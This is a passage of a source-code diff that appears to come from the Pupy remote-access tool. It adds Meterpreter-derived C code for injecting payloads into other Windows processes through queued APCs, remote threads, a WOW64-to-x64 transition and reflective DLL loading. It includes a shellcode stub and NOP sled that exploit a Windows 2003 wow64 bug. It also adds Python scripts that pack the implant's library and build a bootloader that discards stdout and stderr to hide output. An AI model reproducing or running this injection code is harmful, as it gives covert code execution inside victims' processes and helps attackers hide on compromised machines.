||||
if( dwPupyArch == PROCESS_ARCH_X64 )
|
||||
{
|
||||
// injecting x64->x86(wow64)
|
||||
|
||||
// Our injected APC ends up running in native x64 mode within the wow64 process and as such
|
||||
// will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub.
|
||||
|
||||
// This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though.
|
||||
|
||||
SetLastError( ERROR_ACCESS_DENIED );
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet." )
|
||||
}
|
||||
else
|
||||
{
|
||||
// injecting x86->x86
|
||||
lpApcStub = &apc_stub_x86;
|
||||
dwApcStubLength = sizeof( apc_stub_x86 );
|
||||
}
|
||||
}
|
||||
else if( dwDestinationArch == PROCESS_ARCH_X64 )
|
||||
{
|
||||
// injecting x64->x64 (and the same stub for x86(wow64)->x64)
|
||||
lpApcStub = &apc_stub_x64;
|
||||
dwApcStubLength = sizeof( apc_stub_x64 );
|
||||
|
||||
if( dwPupyArch == PROCESS_ARCH_X86 )
|
||||
{
|
||||
// injecting x86(wow64)->x64
|
||||
|
||||
// For now we leverage a bug in wow64 to get x86->x64 injection working, this
|
||||
// will simply fail gracefully on systems where the technique does not work.
|
||||
|
||||
MEMORY_BASIC_INFORMATION mbi = {0};
|
||||
LPVOID lpRemoteAddress = NULL;
|
||||
BYTE * lpNopSled = NULL;
|
||||
BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0";
|
||||
|
||||
/*
|
||||
// On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes.
|
||||
// The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful,
|
||||
// however the start address of the new APC in the native x64 process is not what we specify but instead it is
|
||||
// the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc
|
||||
// this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there
|
||||
// injection will continue as normal.
|
||||
|
||||
// The registers on the native x64 process after the queued APC is attempted to run:
|
||||
rip = 000000006B0095F0 // address of wow64!Wow64ApcRoutine as found in the wow64 process
|
||||
rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param)
|
||||
rdx = dwApcStatusBlock // unused
|
||||
r8 = dwApcReserved // unused
|
||||
|
||||
// On the WOW64 process side:
|
||||
wow64:000000006B0095F0 ; Exported entry 3. Wow64ApcRoutine
|
||||
wow64:000000006B0095F0
|
||||
wow64:000000006B0095F0 public Wow64ApcRoutine
|
||||
|
||||
// On the native x64 process side:
|
||||
ntdll:0000000077EF30A0 public KiUserApcDispatcher
|
||||
ntdll:0000000077EF30A0 mov rcx, [rsp] // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value
|
||||
ntdll:0000000077EF30A4 mov rdx, [rsp+8] // 32bit dwApcStatusBlock
|
||||
ntdll:0000000077EF30A9 mov r8, [rsp+10h] // 32bit dwApcReserved
|
||||
ntdll:0000000077EF30AE mov r9, rsp
|
||||
ntdll:0000000077EF30B1 call qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine!
|
||||
|
||||
// Our bStub:
|
||||
00000000 4889C8 mov rax, rcx
|
||||
00000003 48C1E120 shl rcx, 32
|
||||
00000007 48C1E920 shr rcx, 32
|
||||
0000000B 48C1E820 shr rax, 32
|
||||
0000000F FFE0 jmp rax
|
||||
*/
|
||||
|
||||
// alloc the address of the wow64!Wow64ApcRoutine export in the remote process...
|
||||
// TO-DO: parse the PE64 executable wow64.dll to get this at runtime.
|
||||
lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
if( !lpRemoteAddress )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed" );
|
||||
|
||||
if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualQueryEx failed" );
|
||||
|
||||
lpNopSled = (BYTE *)malloc( mbi.RegionSize );
|
||||
if( !lpNopSled )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" );
|
||||
|
||||
memset( lpNopSled, 0x90, mbi.RegionSize );
|
||||
|
||||
if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" )
|
||||
|
||||
if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" )
|
||||
|
||||
free( lpNopSled );
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
SetLastError( ERROR_BAD_ENVIRONMENT );
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" )
|
||||
}
|
||||
|
||||
hNtdll = LoadLibraryA( "ntdll" );
|
||||
if( !hNtdll )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" )
|
||||
|
||||
pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" );
|
||||
if( !pNtQueueApcThread )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" )
|
||||
|
||||
hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
|
||||
if( !hThreadSnap )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" )
|
||||
|
||||
if( !Thread32First( hThreadSnap, &t ) )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Thread32First failed" )
|
||||
|
||||
// Allocate memory for the apc stub and context
|
||||
lpRemoteApcStub = VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
if( !lpRemoteApcStub )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx failed" )
|
||||
|
||||
// Simply determine the apc context address
|
||||
lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength );
|
||||
|
||||
//printf( "[INJECT] -- dwPupyArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", ( dwPupyArch == 2 ? "x64" : "x86" ), lpRemoteApcStub, lpRemoteApcContext );
|
||||
|
||||
// Write the apc stub to memory...
|
||||
if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" )
|
||||
|
||||
// Write the apc context to memory...
|
||||
if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" )
|
||||
|
||||
do
|
||||
{
|
||||
HANDLE hThread = NULL;
|
||||
|
||||
// Only proceed if we are targeting a thread in the target process
|
||||
if( t.th32OwnerProcessID != dwProcessID )
|
||||
continue;
|
||||
|
||||
// Open a handle to this thread so we can do the apc injection
|
||||
hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID );
|
||||
if( !hThread )
|
||||
continue;
|
||||
|
||||
//printf("[INJECT] inject_via_apcthread: Trying to inject into thread %d", t.th32ThreadID );
|
||||
|
||||
// Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt
|
||||
// an ssl connection back but the client side will not be ready to accept it and we loose the session.
|
||||
if( SuspendThread( hThread ) != (DWORD)-1 )
|
||||
{
|
||||
list_push( thread_list, hThread );
|
||||
|
||||
// Queue up our apc stub to run in the target thread, when our apc stub is run (when the target
|
||||
// thread is placed in an alertable state) it will spawn a new thread with our actual migration payload.
|
||||
// Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS.
|
||||
if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS )
|
||||
{
|
||||
//printf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID );
|
||||
dwResult = ERROR_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
//printf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID );
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
CloseHandle( hThread );
|
||||
}
|
||||
|
||||
// keep searching for more target threads to inject our apc stub into...
|
||||
|
||||
} while( Thread32Next( hThreadSnap, &t ) );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
/*
|
||||
if( dwResult == ERROR_SUCCESS && remote && response )
|
||||
{
|
||||
// We should only run this block if we are being used for migration...
|
||||
|
||||
// Send a successful response to let the ruby side know that we've pretty
|
||||
// much successfully migrated and have reached the point of no return
|
||||
packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, MIGRATE_TECHNIQUE_APCQUEUE );
|
||||
packet_transmit_response( ERROR_SUCCESS, remote, response );
|
||||
|
||||
// Sleep to give the remote side a chance to catch up...
|
||||
Sleep( 2000 );
|
||||
}
|
||||
*/
|
||||
if( thread_list )
|
||||
{
|
||||
// Resume all the threads which we queued our apc into as the remote
|
||||
// client side will now be ready to handle the new ssl conenction.
|
||||
while( TRUE )
|
||||
{
|
||||
HANDLE t = (HANDLE)list_pop( thread_list );
|
||||
if( !t )
|
||||
break;
|
||||
ResumeThread( t );
|
||||
CloseHandle( t );
|
||||
}
|
||||
|
||||
list_destroy( thread_list );
|
||||
}
|
||||
|
||||
if( hThreadSnap )
|
||||
CloseHandle( hThreadSnap );
|
||||
|
||||
if( hNtdll )
|
||||
FreeLibrary( hNtdll );
|
||||
|
||||
SetLastError( dwResult );
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86)
|
||||
* enviroment into a native x64 enviroment and accessing the native win64 API's.
|
||||
* Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new
|
||||
* threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out
|
||||
* Windows 2003 from this method of injection, however the APC injection method will work on 2003.
|
||||
*/
|
||||
DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
EXECUTEX64 pExecuteX64 = NULL;
|
||||
X64FUNCTION pX64function = NULL;
|
||||
WOW64CONTEXT * ctx = NULL;
|
||||
OSVERSIONINFO os = {0};
|
||||
|
||||
do
|
||||
{
|
||||
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
|
||||
|
||||
if( !GetVersionEx( &os ) )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: GetVersionEx failed" )
|
||||
|
||||
// filter out Windows 2003
|
||||
if ( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
|
||||
{
|
||||
SetLastError( ERROR_ACCESS_DENIED );
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: Windows 2003 not supported." )
|
||||
}
|
||||
|
||||
// alloc a RWX buffer in this process for the EXECUTEX64 function
|
||||
pExecuteX64 = (EXECUTEX64)VirtualAlloc( NULL, sizeof(migrate_executex64), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
if( !pExecuteX64 )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" )
|
||||
|
||||
// alloc a RWX buffer in this process for the X64FUNCTION function (and its context)
|
||||
pX64function = (X64FUNCTION)VirtualAlloc( NULL, sizeof(migrate_wownativex)+sizeof(WOW64CONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
if( !pX64function )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" )
|
||||
|
||||
// copy over the wow64->x64 stub
|
||||
memcpy( pExecuteX64, &migrate_executex64, sizeof(migrate_executex64) );
|
||||
|
||||
// copy over the native x64 function
|
||||
memcpy( pX64function, &migrate_wownativex, sizeof(migrate_wownativex) );
|
||||
|
||||
// set the context
|
||||
ctx = (WOW64CONTEXT *)( (BYTE *)pX64function + sizeof(migrate_wownativex) );
|
||||
|
||||
ctx->h.hProcess = hProcess;
|
||||
ctx->s.lpStartAddress = lpStartAddress;
|
||||
ctx->p.lpParameter = lpParameter;
|
||||
ctx->t.hThread = NULL;
|
||||
|
||||
//printf( "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08X, pX64function=0x%08X, ctx=0x%08X", pExecuteX64, pX64function, ctx );
|
||||
|
||||
// Transition this wow64 process into native x64 and call pX64function( ctx )
|
||||
// The native function will use the native Win64 API's to create a remote thread in the target process.
|
||||
if( !pExecuteX64( pX64function, (DWORD)ctx ) )
|
||||
{
|
||||
SetLastError( ERROR_ACCESS_DENIED );
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" )
|
||||
}
|
||||
|
||||
if( !ctx->t.hThread )
|
||||
{
|
||||
SetLastError( ERROR_INVALID_HANDLE );
|
||||
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread_wow64: ctx->t.hThread is NULL" )
|
||||
}
|
||||
|
||||
// Success! grab the new thread handle from of the context
|
||||
*pThread = ctx->t.hThread;
|
||||
|
||||
//printf( "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08X", ctx->t.hThread );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( pExecuteX64 )
|
||||
VirtualFree( pExecuteX64, 0, MEM_DECOMMIT );
|
||||
|
||||
if( pX64function )
|
||||
VirtualFree( pX64function, 0, MEM_DECOMMIT );
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* Attempte to gain code execution in the remote process by creating a remote thread in the target process.
|
||||
*/
|
||||
DWORD inject_via_remotethread(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD;
|
||||
HANDLE hThread = NULL;
|
||||
|
||||
do
|
||||
{
|
||||
// Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread
|
||||
// fails, giving us a chance to try an alternative method or fail migration gracefully.
|
||||
hThread = create_remote_thread(hProcess, 1024 * 1024, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL);
|
||||
if (!hThread)
|
||||
{
|
||||
if (dwPupyArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64)
|
||||
{
|
||||
dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64;
|
||||
|
||||
if (inject_via_remotethread_wow64(hProcess, lpStartAddress, lpParameter, &hThread) != ERROR_SUCCESS)
|
||||
{
|
||||
BREAK_ON_ERROR("[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed")
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
BREAK_ON_ERROR("[INJECT] inject_via_remotethread: CreateRemoteThread failed")
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
//printf("[INJECT] inject_via_remotethread: succeeded");
|
||||
}
|
||||
/*
|
||||
if (remote && response)
|
||||
{
|
||||
//printf("[INJECT] inject_via_remotethread: Sending a migrate response...");
|
||||
// Send a successful response to let the ruby side know that we've pretty
|
||||
// much successfully migrated and have reached the point of no return
|
||||
packet_add_tlv_uint(response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique);
|
||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
|
||||
//printf("[INJECT] inject_via_remotethread: Sleeping for two seconds...");
|
||||
// Sleep to give the remote side a chance to catch up...
|
||||
Sleep(2000);
|
||||
}
|
||||
*/
|
||||
Sleep(2000);
|
||||
//printf("[INJECT] inject_via_remotethread: Resuming the injected thread...");
|
||||
// Resume the injected thread...
|
||||
if (ResumeThread(hThread) == (DWORD)-1)
|
||||
{
|
||||
BREAK_ON_ERROR("[INJECT] inject_via_remotethread: ResumeThread failed")
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
if (hThread)
|
||||
{
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
SetLastError(dwResult);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* Inject a DLL image into a process via Reflective DLL Injection.
|
||||
*
|
||||
* Note: You must inject a DLL of the correct target process architecture, (e.g. a PE32 DLL for
|
||||
* an x86 (wow64) process or a PE64 DLL for an x64 process). The wrapper function ps_inject_dll()
|
||||
* in stdapi will handle this automatically.
|
||||
*
|
||||
* Note: This function largely depreciates LoadRemoteLibraryR().
|
||||
*/
|
||||
DWORD inject_dll( DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine , int remoteProcessArch)
|
||||
{
|
||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
|
||||
LPVOID lpRemoteCommandLine = NULL;
|
||||
HANDLE hProcess = NULL;
|
||||
LPVOID lpRemoteLibraryBuffer = NULL;
|
||||
LPVOID lpReflectiveLoader = NULL;
|
||||
DWORD dwReflectiveLoaderOffset = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if( !lpDllBuffer || !dwDllLenght )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. No Dll buffer supplied.");
|
||||
|
||||
// check if the library has a ReflectiveLoader...
|
||||
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpDllBuffer );
|
||||
if( !dwReflectiveLoaderOffset )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. GetReflectiveLoaderOffset failed.");
|
||||
|
||||
hProcess = OpenProcess( PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid );
|
||||
if( !hProcess )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. OpenProcess failed." );
|
||||
|
||||
if( cpCommandLine )
|
||||
{
|
||||
// alloc some space and write the commandline which we will pass to the injected dll...
|
||||
lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cpCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
|
||||
if( !lpRemoteCommandLine )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 1 failed" );
|
||||
|
||||
if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cpCommandLine, strlen(cpCommandLine)+1, NULL ) )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 1 failed" );
|
||||
}
|
||||
|
||||
// alloc memory (RWX) in the host process for the image...
|
||||
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwDllLenght, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
if( !lpRemoteLibraryBuffer )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. VirtualAllocEx 2 failed" );
|
||||
|
||||
// write the image into the host process...
|
||||
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpDllBuffer, dwDllLenght, NULL ) )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. WriteProcessMemory 2 failed" );
|
||||
|
||||
// add the offset to ReflectiveLoader() to the remote library address...
|
||||
lpReflectiveLoader = (LPVOID)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset );
|
||||
|
||||
// First we try to inject by directly creating a remote thread in the target process
|
||||
if( inject_via_remotethread( hProcess, remoteProcessArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )
|
||||
{
|
||||
//printf( "[INJECT] inject_dll. inject_via_remotethread failed, trying inject_via_apcthread..." );
|
||||
|
||||
// If that fails we can try to migrate via a queued APC in the target process
|
||||
if( inject_via_apcthread( hProcess, dwPid, remoteProcessArch, lpReflectiveLoader, lpRemoteCommandLine ) != ERROR_SUCCESS )
|
||||
BREAK_ON_ERROR( "[INJECT] inject_dll. inject_via_apcthread failed" )
|
||||
}
|
||||
|
||||
dwResult = ERROR_SUCCESS;
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( hProcess )
|
||||
CloseHandle( hProcess );
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
|
@ -0,0 +1,126 @@
|
|||
/*
|
||||
This code has been taken from meterpreter and modified to be integrated into pupy.
|
||||
original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/
|
||||
|
||||
Meterpreter is available for use under the following license, commonly known as the
|
||||
3-clause (or "modified") BSD license:
|
||||
|
||||
=========================================================================================
|
||||
|
||||
Meterpreter
|
||||
-----------
|
||||
|
||||
Copyright (c) 2006-2013, Rapid7 Inc
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are
|
||||
permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of
|
||||
conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
conditions and the following disclaimer in the documentation and/or other materials
|
||||
provided with the distribution.
|
||||
|
||||
* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or
|
||||
promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
|
||||
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
|
||||
THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
|
||||
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
*/
|
||||
//===============================================================================================//
|
||||
#ifndef _METERPRETER_BASE_INJECT_H
|
||||
#define _METERPRETER_BASE_INJECT_H
|
||||
//===============================================================================================//
|
||||
|
||||
// These are defined in the stdapi projects ps.h file. We should put them somewhere more generic so we dont dup them here.
|
||||
#define PROCESS_ARCH_UNKNOWN 0
|
||||
#define PROCESS_ARCH_X86 1
|
||||
#define PROCESS_ARCH_X64 2
|
||||
#define PROCESS_ARCH_IA64 3
|
||||
|
||||
// The three injection techniques currently supported.
|
||||
#define MIGRATE_TECHNIQUE_REMOTETHREAD 0
|
||||
#define MIGRATE_TECHNIQUE_REMOTETHREADWOW64 1
|
||||
#define MIGRATE_TECHNIQUE_APCQUEUE 2
|
||||
|
||||
extern const DWORD dwPupyArch;
|
||||
|
||||
//===============================================================================================//
|
||||
|
||||
// Definition of ntdll!NtQueueApcThread
|
||||
typedef NTSTATUS (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved );
|
||||
|
||||
// Definitions used for running native x64 code from a wow64 process (see executex64.asm)
|
||||
typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );
|
||||
typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter );
|
||||
|
||||
//===============================================================================================//
|
||||
|
||||
// The context used for injection via migrate_via_apcthread
|
||||
typedef struct _APCCONTEXT
|
||||
{
|
||||
union
|
||||
{
|
||||
LPVOID lpStartAddress;
|
||||
BYTE bPadding1[8];
|
||||
} s;
|
||||
|
||||
union
|
||||
{
|
||||
LPVOID lpParameter;
|
||||
BYTE bPadding2[8];
|
||||
} p;
|
||||
|
||||
BYTE bExecuted;
|
||||
|
||||
} APCCONTEXT, * LPAPCCONTEXT;
|
||||
|
||||
// The context used for injection via migrate_via_remotethread_wow64
|
||||
typedef struct _WOW64CONTEXT
|
||||
{
|
||||
union
|
||||
{
|
||||
HANDLE hProcess;
|
||||
BYTE bPadding2[8];
|
||||
} h;
|
||||
|
||||
union
|
||||
{
|
||||
LPVOID lpStartAddress;
|
||||
BYTE bPadding1[8];
|
||||
} s;
|
||||
|
||||
union
|
||||
{
|
||||
LPVOID lpParameter;
|
||||
BYTE bPadding2[8];
|
||||
} p;
|
||||
union
|
||||
{
|
||||
HANDLE hThread;
|
||||
BYTE bPadding2[8];
|
||||
} t;
|
||||
} WOW64CONTEXT, * LPWOW64CONTEXT;
|
||||
|
||||
//===============================================================================================//
|
||||
|
||||
DWORD inject_via_apcthread(HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
|
||||
|
||||
DWORD inject_via_remotethread(HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter);
|
||||
|
||||
DWORD inject_via_remotethread_wow64(HANDLE hProcess, LPVOID lpStartAddress, LPVOID lpParameter, HANDLE * pThread);
|
||||
|
||||
DWORD inject_dll(DWORD dwPid, LPVOID lpDllBuffer, DWORD dwDllLenght, char * cpCommandLine);
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,34 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
import StringIO, zipfile, os.path, imp, sys
|
||||
import marshal
|
||||
import zlib
|
||||
|
||||
def get_encoded_library_string(arch):
|
||||
filepath=None
|
||||
if arch=="x86":
|
||||
filepath=os.path.join("resources","libraryx86.zip")
|
||||
elif arch=="x64":
|
||||
filepath=os.path.join("resources","libraryx64.zip")
|
||||
else:
|
||||
raise Exception("unknown arch %s"%arch)
|
||||
f = StringIO.StringIO()
|
||||
f.write(open(filepath, "rb").read())
|
||||
|
||||
zip = zipfile.ZipFile(f)
|
||||
|
||||
modules = dict([(z.filename, zip.open(z.filename,).read()) for z in zip. infolist() if os.path.splitext(z.filename)[1] in [".py",".pyd",".dll",".pyc",".pyo"]])
|
||||
|
||||
return zlib.compress(marshal.dumps(modules),9)
|
||||
try:
|
||||
with open(os.path.join("resources","library_compressed_string_x86.txt"),'wb') as w:
|
||||
w.write(get_encoded_library_string("x86"))
|
||||
print "x86 encoded library generated"
|
||||
except Exception as e:
|
||||
print str(e)
|
||||
try:
|
||||
with open(os.path.join("resources","library_compressed_string_x64.txt"),'wb') as w:
|
||||
w.write(get_encoded_library_string("x64"))
|
||||
print "x64 encoded library generated"
|
||||
except Exception as e:
|
||||
print str(e)
|
|
@ -0,0 +1,54 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
import marshal
|
||||
import struct
|
||||
import base64
|
||||
import os.path
|
||||
|
||||
|
||||
remove_stdout="""
|
||||
import sys
|
||||
class Blackhole(object):
|
||||
softspace = 0
|
||||
def read(self):
|
||||
pass
|
||||
def write(self, text):
|
||||
pass
|
||||
def flush(self):
|
||||
pass
|
||||
sys.stdout = Blackhole()
|
||||
sys.stderr = Blackhole()
|
||||
del Blackhole
|
||||
"""
|
||||
#remove_stdout=""
|
||||
def get_load_module_code(code, modulename):
|
||||
loader="""
|
||||
import imp, sys
|
||||
fullname={}
|
||||
mod = imp.new_module(fullname)
|
||||
mod.__file__ = "<bootloader>\\%s" % fullname
|
||||
exec {} in mod.__dict__
|
||||
sys.modules[fullname]=mod
|
||||
""".format(repr(modulename),repr(code))
|
||||
return loader
|
||||
|
||||
|
||||
if __name__=="__main__":
|
||||
code_bytes=[]
|
||||
code=""
|
||||
#code_bytes.append(compile("import sys; print repr(sys._GetCompressedLibraryString())"+"\n", "<string>", "exec"))
|
||||
code_bytes.append(compile(remove_stdout, "<string>", "exec"))
|
||||
code_bytes.append(compile("import sys;sys.argv=[]", "<string>", "exec"))
|
||||
with open(os.path.join("..", "..", "pupy", "packages","all", "pupyimporter.py")) as f:
|
||||
code=f.read()
|
||||
code_bytes.append(compile(get_load_module_code(code,"pupyimporter")+"\n", "<string>", "exec"))
|
||||
code_bytes.append(compile("import pupyimporter;pupyimporter.install()\n", "<string>", "exec"))
|
||||
#code_bytes.append(compile("import platform; print platform.uname()\n", "<string>", "exec"))
